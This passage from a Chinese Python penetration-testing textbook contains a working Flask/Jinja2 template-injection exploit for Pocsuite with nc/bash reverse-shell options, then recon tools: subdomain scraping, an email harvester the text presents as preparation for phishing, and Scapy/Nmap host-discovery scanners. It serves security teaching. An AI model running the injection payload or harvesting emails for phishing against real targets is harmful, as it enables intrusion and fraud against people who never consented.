'%20endfor%20%}'

    try:
        resq = requests.get(url + payload)
        if resq and resq.status_code == 200 and "www" in resq.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception,e:
            pass
        return self.parse_output(result)

如此便完成了Pocsuite的POC和EXP编写，程序运行结果如图3-4所示。

图3-4　Pocsuite利用脚本

利用Pocsuite 3开源框架，可以接收用户输入的命令行参数，对目标系统进行半交互控制，具体实现过程如下所示。

首先，根据官方文档说明，编写一个接收自定义命令的函数，将接收到的命令赋值给command参数。

def _options(self):
    o = OrderedDict()
    payload = {
        "nc": REVERSE_PAYLOAD.NC,
        "bash": REVERSE_PAYLOAD.BASH,
    }
    o["command"] = OptDict(selected="bash", default=payload)
    return o

接下来，创造一个cmd变量，用于接收用户输入的command命令参数，并嵌入payload字符串中。将写好的payload与url地址拼接，并通过request函数发送到目标系统，这样就能够在目标系统中执行命令了。最后，将命令执行结果输出。代码如下所示：

def _attack(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        cmd = self.get_option("command")
        payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__
            subclasses__()'\
        '%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%
            27%20%25%7D%0A%20%20%7B%25%20'\
        'for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B
            %25%20if%20b.__class__'\
        '%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20
            %27eval%27%20in%20b.keys()'\
        '%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__
            ("os").popen("'+cmd+'").read()%27)'\
        '%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif
            %20%25%7D%0A%20%20%7B%25%20endfor'\
        '%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        try:
            resq = requests.get(url + payload)
            t = resq.text
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ","")
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = t
        except Exception as e:
            return

执行命令pocsuite-r 1.py-uhttp://x.x.x.x:8000/--attack--command'id'，最终效果如图3-5所示。

图3-5　执行EXP攻击

Flask漏洞主要利用了框架的特点，在Flask中，“{{}}”中的内容会被当作代码执行，相应的防御中就需要对“{{}}”进行过滤，禁止此符号传入参数中。

3.4　小结

在实际渗透测试过程中接触到的类似漏洞验证脚本非常多，所以在寻找和使用时会浪费大量时间。将漏洞验证POC及EXP通过渗透测试框架整理出来再使用，便会非常方便，提升了工作效率。

第4章
信息搜集

“知己知彼，方能百战不殆。”在渗透测试过程中，搜集到关于目标的更加全面的信息非常重要。信息搜集通常可以分为被动信息搜集和主动信息搜集，被动信息搜集是指不与目标主机进行直接交互，通常根据搜索引擎或者社交等方式间接获取目标主机的信息；主动信息搜集是指与目标主机进行直接交互，从而获取所需要的目标信息。当对一个目标进行渗透测试时，攻击者比较关注目标主机的所有信息，例如子域名、IP地址、旁站、C段查询、用户邮箱、CMS类型、敏感目录、端口信息、服务器版本以及中间件等。本章将介绍如何通过Python编写信息搜集工具，主要内容包括：

·被动信息搜集。

·主动信息搜集。

4.1　被动信息搜集

被动信息搜集主要通过搜索引擎或者社交等方式对目标资产信息进行提取，通常包括IP查询、Whois查询、子域名搜集等。进行被动信息搜集时不与目标产生交互，可以在不接触到目标系统的情况下挖掘目标信息。主要方法包括：DNS解析、子域名挖掘、邮件爬取等。

4.1.1　DNS解析

DNS（Domain Name System，域名系统）是一种分布式网络目录服务，主要用于域名与IP地址的相互转换，能够使用户更方便地访问互联网，而不用去记住一长串数字（能够被机器直接读取的IP）。就像拜访朋友要先知道别人家怎么走一样，当Internet上的一台主机要访问另外一台主机时，必须首先知道其地址，TCP/IP中的IP地址是由四段以“.”分开的数字组成，记起来总是不如名字那么方便，所以采用了域名系统来管理名字和IP的对应关系。本节将介绍如何通过Python脚本获取目标网站域名对应的IP地址，以及获取注册时间、注册人姓名、邮箱等信息。

1.IP查询

IP查询是通过当前所获取到的URL去查询对应IP地址的过程。可以应用Socket库函数中的gethostbyname（）获取域名所对应的IP值。

例如，查询域名www.baidu.com所对应的IP值，代码如下：

>>> import socket
>>> ip = socket.gethostbyname('www.baidu.com')
>>> print(ip)

输出结果：

61.135.169.121

2.Whois查询

Whois是用来查询域名的IP以及所有者信息的传输协议。简单地说，Whois就是一个数据库，用来查询域名是否已经被注册，以及注册域名的详细信息（如域名所有人、域名注册商等）。Python中的模块python-whois可用于Whois的查询。

首先通过pip安装python-whois模块：

pip install python-whois

例如，通过Python自带的whois模块查询域名www.baidu.com的注册信息，代码如下：

>>> from whois import whois
>>> data = whois('www.baidu.com')
>>>print(data)

输出结果如下所示：

4.1.2　子域名挖掘

域名可以分为顶级域名、一级域名、二级域名等。子域名（subdomain）是顶级域名（一级域名或父域名）的下一级。例如，mail.example.com和calendar.example.com是example.com的两个子域，而example.com则是顶级域.com的子域。在测试过程中，测试目标主站时如果未发现任何相关漏洞，此时通常会考虑挖掘目标系统的子域名。子域名挖掘方法有很多种，例如，搜索引擎、子域名破解、字典查询等。

下面将向大家介绍如何通过Python写一个简单的子域名挖掘工具。此处是通过Bing搜索引擎（网址为https://cn.bing.com/）进行子域名搜集。代码如下：

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse
import sys

def bing_search(site, pages):
    Subdomain = []
    headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/
        20100101 Firefox/60.0',
               'Accept': '*/*',
               'Accept-Language': 'en-US,en;q=0.5',
               'Accept-Encoding': 'gzip,deflate',
               'referer': "http://cn.bing.com/search?q=email+site%3abaidu.
                    com&qs=n&sp=-1&pq=emailsite%3abaidu.com&first=2&FORM=PERE1"
               }
    for i in range(1,int(pages)+1):
        url = "https://cn.bing.com/search?q=site%3a"+site+"&go=Search&qs=ds&
            first="+ str((int(i)-1)*10) +"&FORM=PERE"
        conn = requests.session()
        conn.get('http://cn.bing.com', headers=headers)
        html = conn.get(url, stream=True, headers=headers, timeout=8)
        soup = BeautifulSoup(html.content, 'html.parser')
        job_bt = soup.findAll('h2')
        for i in job_bt:
            link = i.a.get('href')
            domain = str(urlparse(link).scheme + "://" + urlparse(link).netloc)
            if domain in Subdomain:
                pass
            else:
                Subdomain.append(domain)
                print(domain)

if __name__ == '__main__':
    # site=baidu.com
    if len(sys.argv) == 3:
        site = sys.argv[1]
        page = sys.argv[2]
    else:
        print ("usage: %s baidu.com 10" % sys.argv[0])
        sys.exit(-1)
    Subdomain = bing_search(site, page)

打开Linux系统终端，并执行命令Python3 subdomain.py baidu.com 15，输入baidu.com，表示对该域名进行子域名收集，数字15表示获取Ping搜索引擎页数，运行效果如下所示：

4.1.3　邮件爬取

在针对目标系统进行渗透的过程中，如果目标服务器安全性很高，通过服务器很难获取目标权限时，通常会采用社工的方式对目标服务进行进一步攻击。邮件钓鱼攻击是常见的攻击方式之一。在进行钓鱼之前，需要针对目标相关人员的邮件信息进行全面采集。下面将带领大家一起编写一个邮件采集工具。

此处邮件采集工具主要通过国内常见的搜索引擎（百度、Bing等）进行搜集。针对搜索界面的相关邮件信息进行爬取、处理等操作之后。利用获得的邮箱账号批量发送钓鱼邮件，诱骗、欺诈目标用户或者管理员进行账号登录或者点击执行，进而获取目标系统的权限。该邮件采集工具所用到的相关库函数如下所示：

import sys
import getopt
import requests
from bs4 import BeautifulSoup
import re

1）在程序的起始部分，当执行过程中没有发生异常时，则执行定义的start（）函数。通过sys.argv[]实现外部指令的接收。其中，sys.argv[0]表示代码本身的文件路径，sys.argv[1：]表示从第一个命令行参数到输入的最后一个命令行参数，存储形式为list类型：

if __name__ == '__main__':
    #定义异常
    try:
        start(sys.argv[1:])
    except KeyboardInterrupt:
        print("interrupted by user, killing all threads...")

2）编写命令行参数处理功能。此处主要应用getopt.getopt（）函数处理命令行参数，该函数目前有短选项和长选项两种格式。短选项格式为“-”加上单个字母选项；长选项格式为“--”加上一个单词选项。opts为一个两元组列表，每个元素形式为“（选项串，附加参数）”。当没有附加参数时，则为空串。之后通过for语句循环输出opts列表中的数值并赋值给自定义的变量：

#主函数，传入用户输入的参数
def start(argv):
    url = ""
    pages = ""
    if len(sys.argv) < 2:
        print("-h 帮助信息;\n")
        sys.exit()
    #定义异常处理
    try:
        banner()
        opts,args = getopt.getopt(argv,"-u:-p:-h")
    except getopt.GetoptError:
        print('Error an argument!')
        sys.exit()
    for opt,arg in opts:
        if opt == "-u":
            url = arg
        elif opt == "-p":
            pages = arg
        elif opt == "-h":
            print(usage())
    launcher(url,pages)

3）输出帮助信息，增加代码工具的可读性和易用性。为了使输出信息更加美观简洁，可以通过转义字符设置输出字体颜色，从而实现需要的效果。开头部分包含三个参数：显示方式、前景色、背景色。这三个参数是可选的，可以只写其中的某一个参数。结尾部分可以省略，但是为了书写规范，建议以“\033[0m”结尾。其具体的输出格式如下所示：

开头：\033[显示方式;前景色;背景色m
结尾部分：\033[0m

示例代码如下：

print('\033[0;30;41m ms08067实验室欢迎你 \033[0m')
print('\033[0;31;42m ms08067实验室欢迎你 \033[0m')
print('\033[0;32;43m ms08067实验室欢迎你 \033[0m')
print('\033[0;33;44m ms08067实验室欢迎你 \033[0m')
print('\033[0;34;45m ms08067实验室欢迎你 \033[0m')
print('\033[0;35;46m ms08067实验室欢迎你 \033[0m')
print('\033[0;36;47m ms08067实验室欢迎你 \033[0m')

示例的输出效果如下所示：

该部分主要代码如下所示，先以图案的形式输出脚本出自MS08067实验室，然后输出有关该脚本使用的帮助信息，即可执行参数指令以及对应的功能简介。代码如下：

#banner信息
def banner():
print('\033[1;34m#########################################################
    ###############################\033[0m\n'
      '\033[1;34m######################################\033[1;32MMS08067实验室
          \033[1;34m#####################################\033[0m\n'
      '\033[1;34m#########################################################
          ###############################\033[0m\n')
#使用规则
def usage():
    print('-h: --help 帮助;')
    print('-u: --url  域名;')
    print('-p: --pages 页数;')
    print('eg: python -u "www.baidu.com" -p 100'+'\n')
    sys.exit()
##未授权函数检测

输出效果如下所示：

当然，此处也可以根据自己的喜好设置输出不同类型的字体颜色或者图案。

4）确定搜索邮件的关键字，并调用bing_search（）和baidu_search（）两个函数，返回Bing与百度两大搜索引擎的查询结果。由获取到的结果进行列表合并，去重之后，循环输出。代码如下：

#漏洞回调函数
def launcher(url,pages):
    email_num = []
    key_words = ['email','mail','mailbox','邮件','邮箱','postbox']
    for page in range(1,int(pages)+1):
        for key_word in key_words:
            bing_emails = bing_search(url,page,key_word)
            baidu_emails = baidu_search(url,page,key_word)
            sum_emails =  bing_emails + baidu_emails
            for email in sum_emails:
                if email in email_num:
                    pass
                else:
                    print(email)
                    with open('data.txt', 'a+') as f:
                        f.write(email + '\n')
                    email_num.append(email)

5）用Bing搜索引擎进行邮件爬取。Bing引擎具有反爬防护，会通过限定referer、cookie等信息来确定是否是网页爬取操作。可以通过指定referer与requests.session（）函数自动获取cookie信息，绕过Bing搜索引擎的防爬防护。代码如下：

def bing_search(url,page,key_word):
    referer = "http://cn.bing.com/search?q=email+site%3abaidu.com&qs=n&sp=-1&
        pq=emailsite%3abaidu.com&first=1&FORM=PERE1"
    conn = requests.session()
    bing_url = "http://cn.bing.com/search?q=" + key_word + "+site%3a" + url +
        "&qs=n&sp=-1&pq=" + key_word + "site%3a" + url + "&first=" + str(
        (page-1)*10) + "&FORM=PERE1"
    conn.get('http://cn.bing.com', headers=headers(referer))
    r = conn.get(bing_url, stream=True, headers=headers(referer), timeout=8)
    emails = search_email(r.text)
    return emails

6）用百度搜索引擎进行邮件爬取。百度搜索引擎同样设定了反爬防护，相对于Bing搜索引擎来说，百度搜索引擎不仅对referer和cookie进行校验，还同时在页面中通过JavaScript语句进行动态请求链接，从而导致不能动态获取页面中的信息。可以通过对链接的提取，再进行request请求，从而绕过百度搜索引擎的反爬设置，具体代码如下所示：

def baidu_search(url,page,key_word):
    email_list = []
    emails = []
    referer = "https://www.baidu.com/s?wd=email+site%3Abaidu.com&pn=1"
    baidu_url = "https://www.baidu.com/s?wd="+key_word+"+site%3A"+url+"&pn=
        "+str((page-1)*10)
    conn = requests.session()
    conn.get(referer,headers=headers(referer))
    r = conn.get(baidu_url, headers=headers(referer))
    soup = BeautifulSoup(r.text, 'lxml')
    tagh3 = soup.find_all('h3')
    for h3 in tagh3:
        href = h3.find('a').get('href')
        try:
            r = requests.get(href, headers=headers(referer),timeout=8)
            emails = search_email(r.text)
        except Exception as e:
            pass
        for email in emails:
            email_list.append(email)
    return email_list

7）通过正则表达式获取邮箱号码。此处也可换成目标企业邮箱的正则表达式，代码如下：

def search_email(html):
    emails = re.findall(r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+",html,re.I)
    return emails

def headers(referer):
    headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/
        20100101 Firefox/60.0',
               'Accept': '*/*',
               'Accept-Language': 'en-US,en;q=0.5',
               'Accept-Encoding': 'gzip,deflate',
               'Referer': referer
               }
    return headers

通过Python 3执行刚刚写完的脚本并通过-u参数指定域名，-p参数表示搜索引擎的页数，其输出效果如下所示：

此处也可以指定其他域名，并将爬取结果打印到页面中。

4.2　主动信息搜集

在内网中，好的信息搜集能力能够帮助开发者更快地拿到权限及达成目标。内网里数据多种多样，需要根据需求寻找任何能对下一步渗透行动有所帮助的信息。信息搜集能力是渗透过程中不可或缺的重要一步。下面将介绍各类搜集信息的方法。

4.2.1　基于ICMP的主机发现

ICMP（Internet Control Message Protocol，Internet报文协议）是TCP/IP的一种子协议，位于OSI 7层网络模型中的网络层，其目的是用于在IP主机、路由器之间传递控制消息。

1.ICMP工作流程

ICMP中提供了多种报文，这些报文又可分成两大类：“差错通知”和“信息查询”。

（1）差错通知

当IP数据包在对方计算机处理过程中出现未知的发送错误时，ICMP会向发送者传送错误事实以及错误原因等，如图4-1所示。

图4-1　差错通知

（2）信息查询

信息查询由一个请求和一个应答构成的。只需要向目标发送一个请求数据包，如果收到了来自目标的回应，就可以判断目标是活跃主机，否则可以判断目标是非活跃主机，如图4-2所示。

图4-2　信息查询

2.ICMP主机探测过程

Ping命令是ICMP中较为常见的一种应用，经常使用这个命令来测试本地与目标之间的连通性，发送一个ICMP请求消息给目标主机，若源主机收到目标主机的应答响应消息，则表示目标可达，主机存在。例如，我们所在的主机IP地址为192.168.124.134，而通信的目标IP地址为192.168.124.5。如果要判断192.168.124.5是否为活跃主机，只需要向其发送一个ICMP请求，如果192.168.124.5这台主机处于活跃状态，那么它在收到这个请求之后，就会给出一个回应，如下所示：

现在来编写一个利用ICMP实现探测活跃主机的代码程序。程序有很多种可实现方式，此处我们借助Scapy库来完成。Scapy是Python中一个第三方库，在Scapy库内部已经实现了大量的网络协议，例如TCP、UDP、IP、ARP等，使用Scapy可以灵活地编写各种网络工具。

首先我们对Scapy进行安装，命令如下：

python3 -m pip install -i https://pypi.douban.com/simple --pre scapy
    [complete]

安装过程如下所示：

接下来，我们可以利用Scapy库函数中的ICMP实现探测主机存活，详细过程如下所示。

1）导入程序代码所应用到的模块：scapy、random、optparse，其中scapy用于发送ping请求和接收目标主机的应答数据，random用于产生随机字段，optparse用于生成命行参数形式。示例如下：

#!/usr/bin/python
#coding:utf-8
from scapy.all import *
from random import randint
from optparse import OptionParser

2）对用户输入的参数进行接收和批量处理，并将处理后的IP地址传入Scan函数。

def main():
    parser = OptionParser("Usage:%prog -i <target host> ")   # 输出帮助信息
    parser.add_option('-i',type='string',dest='IP',help='specify target host')
        # 获取IP地址参数
    options,args = parser.parse_args()
    print("Scan report for " + options.IP + "\n")
    # 判断是单台主机还是多台主机
    # IP中存在-，说明是要扫描多台主机
    if '-' in options.IP:
    # 代码举例：192.168.1.1-120
    # 通过“-”进行分隔，把192.168.1.1和120分开
    # 把192.168.1.1通过“,”进行分隔，取最后一个数作为range函数的start，然后把120+
        1作为range函数的stop
    # 这样循环遍历出需要扫描的IP地址
        for i in range(int(options.IP.split('-')[0].split('.')[3]), int
            (options.IP.split('-')[1]) + 1):
            Scan(
            options.IP.split('.')[0] + '.' + options.IP.split('.')[1] + '.' +
                options.IP.split('.')[2] + '.' + str(i))
            time.sleep(0.2)
    else:
        Scan(options.IP)

    print("\nScan finished!...\n")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("interrupted by user, killing all threads...")

3）Scan函数通过调用ICMP，将构造好的请求包发送到目的地址，并根据目的地址的应答数据判断目标主机是否存活。存活的IP地址会打印出“xx.xx.xx.xx→Host is up”，对于不存活的主机打印出“xx.xx.xx.xx→Host is down”：

def Scan(ip):
    ip_id = randint(1, 65535)
    icmp_id = randint(1, 65535)
    icmp_seq = randint(1, 65535)
    packet=IP(dst=ip,ttl=64,id=ip_id)/ICMP(id=icmp_id,seq=icmp_seq)/b'
        rootkit'
    result = sr1(packet, timeout=1, verbose=False)
    if result:
        for rcv in result:
            scan_ip = rcv[IP].src
            print(scan_ip + '--->' 'Host is up')
    else:
        print(ip + '--->' 'host is down')

运行效果如下所示。

此处，我们也可以在程序中导入Nmap库函数，实现探测主机存活工具的编写。这里使用Nmap函数的-sn与-PE参数，-PE表示使用ICMP，-sn表示只测试该主机的状态，具体步骤如下所示。

1）导入程序代码所应用到的模块：nmap、optparse。nmap模块用于产生ICMP的请求数据包，optparse用于生成命令行参数。

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import nmap
import optparse

2）利用optparse模块生成命令行参数化形式，对用户输入的参数进行接收和批量处理，最后将处理后的IP地址传入NmapScan函数。

if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -i ip \n\n'
                                    'Example: python %prog -i 192.168.1.1
                                        [192.168.1.1-100]\n')
    # 添加目标IP参数-i
    parser.add_option('-i','--ip',dest='targetIP',default='192.168.1.1',type='string',
        help='target ip address')
    options,args = parser.parse_args()
    # 判断是单台主机还是多台主机
    # IP中存在“-”，说明是要扫描多台主机
    if '-' in options.targetIP:
        # 代码举例：192.168.1.1-120
        # 通过'-'进行分割，把192.168.1.1和120进行分离
        # 把192.168.1.1通过“,”进行分隔，取最后一个数作为range函数的start，然后把
          120+1作为range函数的stop
        # 这样循环遍历出需要扫描的IP地址
        for i in range(int(options.targetIP.split('-')[0].split('.')[2]),int
            (options.targetIP.split('-')[1])+1):
            NmapScan(options.targetIP.split('.')[0] + '.' + options.targetIP.
                split('.')[1] + '.' + options.targetIP.split('.')[2] + '.' +
                str(i))
    else:
        NmapScan(options.targetIP)

3）NmapScan函数通过调用nm.scan（）函数，传入-sn-PE参数，发起ping扫描，并打印出扫描后的结果。

def NmapScan(targetIP):
    # 实例化PortScanner对象
    nm = nmap.PortScanner()
    try:
        # hosts为目标IP地址，argusments为Nmap的扫描参数
        # -sn:使用ping进行扫描
        # -PE:使用ICMP的 echo请求包(-PP:使用timestamp请求包 -PM:netmask请求包)
        result = nm.scan(hosts=targetIP, arguments='-sn -PE')
        # 对结果进行切片，提取主机状态信息
        state = result['scan'][targetIP]['status']['state']
        print("[{}] is [{}]".format(targetIP, state))
    except Exception  as e:
        pass

运行效果如下所示。

基于ICMP的探测主机存活是一种很常见的方法，无论是以太网还是互联网都可以使用这种方法。但是该方法也存在一定的缺陷，就是当网络设备，例如路由器、防火墙等对ICMP采取了屏蔽策略时，就会导致扫描结果不准确。

4.2.2　基于TCP、UDP的主机发现

基于TCP、UDP的主机发现属于四层主机发现，是一个位于传输层的协议。可以用来探测远程主机存活、端口开放、服务类型以及系统类型等信息，相比于三层主机发现更为可靠，用途更广。

TCP是一种面向连接的、可靠的传输通信协议，位于IP层之上，应用层之下的中间层。每一次建立连接都基于三次握手通信，终止一个连接也需要经过四次握手，建立完连接之后，才可以传输数据。当主动方发出SYN连接请求后，等待对方回答TCP的三次握手SYN+ACK，并最终对对方的SYN执行ACK确认。这种建立连接的方法可以防止产生错误的连接，所以TCP是一个可靠的传输协议。

因此，我们可以利用TCP三次握手原理进行主机存活的探测。当向目标主机直接发送ACK数据包时，如果目标主机存活，就会返回一个RST数据包以终止这个不正常的TCP连接。也可以发送正常的SYN数据包，如果目标主机返回SYN/ACK或者RST数据包，也可以证明目标主机为存活状态。其工作原理主要依据目标主机响应数据包中flags字段，如果flags字段有值，则表示主机存活，该字段通常包括SYN、FIN、ACK、PSH、RST、URG六种类型。SYN表示建立连接，FIN表示关闭连接，ACK表示应答，PSH表示包含DATA数据传输，RST表示连接重置，URG表示紧急指针。

现在来编写一个利用TCP实现的活跃主机扫描程序，这个程序有很多种方式可以实现，首先借助Scapy库来完成。在安装好Scapy的终端输入Scapy运行程序。设定远程IP地址为39.xx.xx.238，flag标志为A表示给目标主机发送ACK应答数据包，通过sr1（）函数将构造好的数据包发出。相关代码如下所示：

>>> ip=IP()
>>> tcp=TCP()
>>> r=(ip/tcp)
>>> r[IP].dst="39.xx.xx.238"
>>> r[TCP].flags="A"
>>> a=sr1(r)
>>> a.display()

通过a.display（）函数查看目标主机的返回数据包信息，此时可以发现flags标志位为R，表示远程主机给源主机发送了一个REST。由此可以验证远程目标主机为存活状态。响应结果如下所示。

根据以上TCP发现存活主机的原理，我们可以编写相应的Python工具进行实现，具体过程如下所示：

1）导入程序代码所应用到的模块：time、optparse、random和scapy。time模块主要用于产生延迟时间，optparse用于生成命行参数，random模块用于生成随机的端口，scapy用于以TCP发送请求以及接收应答数据，例如：

import time
from optparse import OptionParser
from random import randint
from scapy.all import *

2）利用optparse模块生成命令行参数化形式，对用户输入的参数进行接收和批量处理，最后将处理后的IP地址传入Scan（）函数。

def main():
    usage = "Usage: %prog -i <ip address>"     # 输出帮助信息
    parse = OptionParser(usage=usage)
    parse.add_option("-i", '--ip', type="string", dest="targetIP", help=
        "specify the IP address")          # 获取网段地址
    options, args = parse.parse_args()          #实例化用户输入的参数
    if '-' in options.targetIP:
        # 代码举例：192.168.1.1-120
        # 通过“-”进行分隔，把192.168.1.1和120进行分离
        # 把192.168.1.1通过“,”进行分隔，取最后一个数作为range函数的start，然后把
          120+1作为range函数的stop
        # 这样循环遍历出需要扫描的IP地址
        for i in range(int(options.targetIP.split('-')[0].split('.')[3]), int
            (options.targetIP.split('-')[1]) + 1):
            Scan(options.targetIP.split('.')[0] + '.' + options.targetIP.split
                ('.')[1] + '.' + options.targetIP.split('.')[2] + '.' + str(i))
    else:
        Scan(options.targetIP)

if __name__ == '__main__':
    main()

3）Scan（）函数，通过调用TCP将构造好的请求包发送到目的地址，并根据目的地址的响应数据包中flags字段值判断主机是否存活。若flags字段为R，其整型数值为4时表示接收到了目标主机的REST，目标主机为存活状态，打印出“xx.xx.xx.xx Host is up”，否则为不存活主机，打印出“xx.xx.xx.xx Host is down”。

def Scan(ip):
    try:
        dport = random.randint(1, 65535)          #随机目的端口
        packet = IP(dst=ip)/TCP(flags="A",dport=dport)     #构造标志位为ACK的数据包
        response = sr1(packet,timeout=1.0, verbose=0)
        if response:
            if int(response[TCP].flags) == 4:     #判断响应包中是否存在RST标志位
                time.sleep(0.5)
                print(ip + ' ' + "is up")
            else:
                print(ip + ' ' + "is down")
        else:
            print(ip + ' ' + "is down")
    except:
        pass

运行效果如下所示。

同时，可以打开Wireshark软件进行流量监听，根据抓到的数据流量可以分析，源主机向目标主机发送ACK请求，当主机存活时，目标主机会发送一个REST的应答数据包，效果如图4-3所示。

图4-3　向目标主机发送ACK请求时的监听效果

UDP（User Datagram Protocol，用户数据报协议）是一种利用IP提供面向无连接的网络通信服务。UDP会把应用程序发来的数据，在收到的一刻立即原样发送到网络上。即使在网络传输过程中出现丢包、顺序错乱等情况时，UDP也不会负责重新发送以及纠错。当向目标发送一个UDP数据包之后，目标是不会发回任何UDP数据包的。不过，如果目标主机处于活跃状态，但是目标端口是关闭状态时，会返回一个ICMP数据包，这个数据包的含义为unreachable。如果目标主机不处于活跃状态，这时是收不到任何响应数据的。利用UDP原理可以实现探测存活主机。

现在来编写一个利用UDP实现的活跃主机的扫描程序，首先借助Scapy库来完成。在安装好Scapy的终端输入Scapy运行程序。设定远程IP地址为39.xx.xx.238，端口dport可为任意值，此处将dport设为7345，通过sr1（）函数将构造好的数据包发出。相关代码如下所示：

>>> ip=IP()
>>> udp=UDP()
>>> r = (ip/udp)
>>> r[IP].dst="192.168.19.141"
>>> r[UDP].dport=7345
>>> a=sr1(r)

如果目标主机处于存活状态，则会接收到目标主机的应答信息，可通过a.display（）函数查看数据包信息。可以查看到返回的信息中存在ICMP的应答信息，“code=port-unreachable”表示目标端口不可达。由此可以验证远程目标主机为存活状态。若目标主机不为存活状态，则不会收到目标主机的响应数据包。响应结果如下所示。

根据以上UDP发现存活主机的原理，我们可以编写相应的Python工具进行实现，具体过程如下所示：

1）导入程序代码所应用到的模块：time、optparse、random和scapy。time模块主要用于产生延迟时间，optparse模块用于生成命令行参数，random模块用于生成随机的端口，scapy模块用于以UDP发送请求以及接收应答数据。

#!/usr/bin/python
import time
from optparse import OptionParser
from random import randint
from scapy.all import *

2）利用optparse模块生成命令行参数化形式，对用户输入的参数进行接收和批量处理，最后将处理后的IP地址传入Scan（）函数。

def main():

    usage = "Usage: %prog -i <ip address>"     # 输出帮助信息
    parse = OptionParser(usage=usage)
    parse.add_option("-i", '--ip', type="string", dest="targetIP", help=
        "specify the IP address")          # 获取网段地址
    options, args = parse.parse_args()          #实例化用户输入的参数
    if '-' in options.targetIP:
        # 代码举例：192.168.1.1-120
        # 通过“-”进行分隔，把192.168.1.1和120进行分离
        # 把192.168.1.1通过“,”进行分隔，取最后一个数作为range函数的start，然后把
          120+1作为range函数的stop
        # 这样循环遍历出需要扫描的IP地址
        for i in range(int(options.targetIP.split('-')[0].split('.')[3]), int
            (options.targetIP.split('-')[1]) + 1):
            Scan(options.targetIP.split('.')[0] + '.' + options.targetIP.split
                ('.')[1] + '.' + options.targetIP.split('.')[2] + '.' + str(i))
    else:
        Scan(options.targetIP)

if __name__ == '__main__':
    main()

3）Scan（）函数，通过调用UDP将构造好的请求包发送到目的地址，并根据是否接收到目标主机的响应数据包判断主机的存活状态。若接收到响应数据包，proto字段整型数据为1时，则代表目标主机为存活状态，打印出“xx.xx.xx.xx Host is up”，否则为不存活主机，打印出“xx.xx.xx.xx Host is down”。

def Scan(ip):
    try:
        dport = random.randint(1, 65535)
        packet = IP(dst=ip)/UDP(dport=dport)
        response = sr1(packet,timeout=1.0, verbose=0)
        if response:
            if int(response[IP].proto) == 1:
                time.sleep(0.5)
                print(ip + ' ' + "is up")
            else:
                print(ip + ' ' + "is down")
        else:
            print(ip + ' ' + "is down")
    except:
        pass

运行效果如下所示。

同时，可以打开Wireshark软件进行流量监听，根据抓到的数据流量可以分析，源主机向目标主机发送UDP数据包，当主机存活时，目标主机会发送一个“Destination unreachableb（port unreachable）”的应答数据包，效果如图4-4所示。

图4-4　向目标主机发送UDP数据包时的监听效果

对于TCP、UDP主机发现，同样可以借助Nmap库来实现。这里需要用到Nmap的-sT和-PU两个参数。详细的代码过程这里不再赘述，读者可在4.2.1节的基础上进行修改，所需修改代码部分如下所示：

result = nm.scan(hosts=targetIP, arguments='-sT')

TCP主机发现的测试命令及效果如下：

result = nm.scan(hosts=targetIP, arguments='-PU')

UDP主机发现的测试效果如下：

4.2.3　基于ARP的主机发现

ARP协议（地址解析协议）属于数据链路层的协议，主要负责根据网络层地址（IP）来获取数据链路层地址（MAC）。

以太网协议规定，同一局域网中的一台主机要和另一台主机进行直接通信，必须知道目标主机的MAC地址。而在TCP/IP中，网络层只关注目标主机的IP地址。这就导致在以太网中使用IP协议时，数据链路层的以太网协议接收到的网络层IP协议提供的数据中，只包含目的主机的IP地址。于是需要ARP协议来完成IP地址到MAC地址的转换。假设我们当前的以太网结构如图4-5所示。

图4-5　以太网结构

在上述以太网结构中，假设PC1想与PC3通信，步骤如下。

1）PC1知道PC3的IP地址为192.168.1.3，然后PC1会检查自己的APR缓存表中该IP是否有对应的MAC地址。

2）如果有，则进行通信。如果没有，PC1就会使用以太网广播包来给网络上的每一台主机发送ARP请求，询问192.168.1.3的MAC地址。ARP请求中同时也包含了PC1的IP地址和MAC地址。以太网内的所有主机都会接收到ARP请求，并检查是否与自己的IP地址匹配。如果不匹配，则丢弃该ARP请求。

3）PC3确定ARP请求中的IP地址与自己的IP地址匹配，则将ARP请求中PC1的IP地址和MAC地址添加到本地ARP缓存中。

4）PC3将自己的MAC地址发送给PC1。

5）PC1收到PC3的ARP响应时，将PC3的IP地址和MAC地址都更新到本地ARP缓存表中。

本地ARP缓存表是有生存周期的，生存周期结束后，将再次重复上面的过程。

当目标主机与我们处于同一以太网的时候，利用ARP进行主机发现是一个最好的选择。因为这种扫描方式快且精准。现在我们借助Scapy来编写ARP主机发现脚本，通过脚本对以太网内的每个主机都进行ARP请求。若主机存活，则会响应我们的ARP请求，否则不会响应。因为ARP涉及网络层和数据链路层，所以需要使用Scapy中的Ether和ARP。Scapy中的ARP参数如下所示：

Scapy中的Ether参数如下所示：

这里介绍一下脚本中所使用的参数。Ether中src表示源MAC地址，dst表示目的MAC地址。ARP中op代表消息类型，1为ARP请求，2为ARP响应，hwsrc和psrc表示源MAC地址和源IP地址，pdst表示目的IP地址。接下来我们编写ARP主机发现脚本。

1）写入脚本信息，导入相关模块：

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import os
import re
import optparse
from scapy.all import *

2）编写本机IP地址和MAC地址获取函数，通过正则表达式来进行获取：

# 取IP地址和MAC地址函数
def HostAddress(iface):
    # os.popen执行后返回执行结果
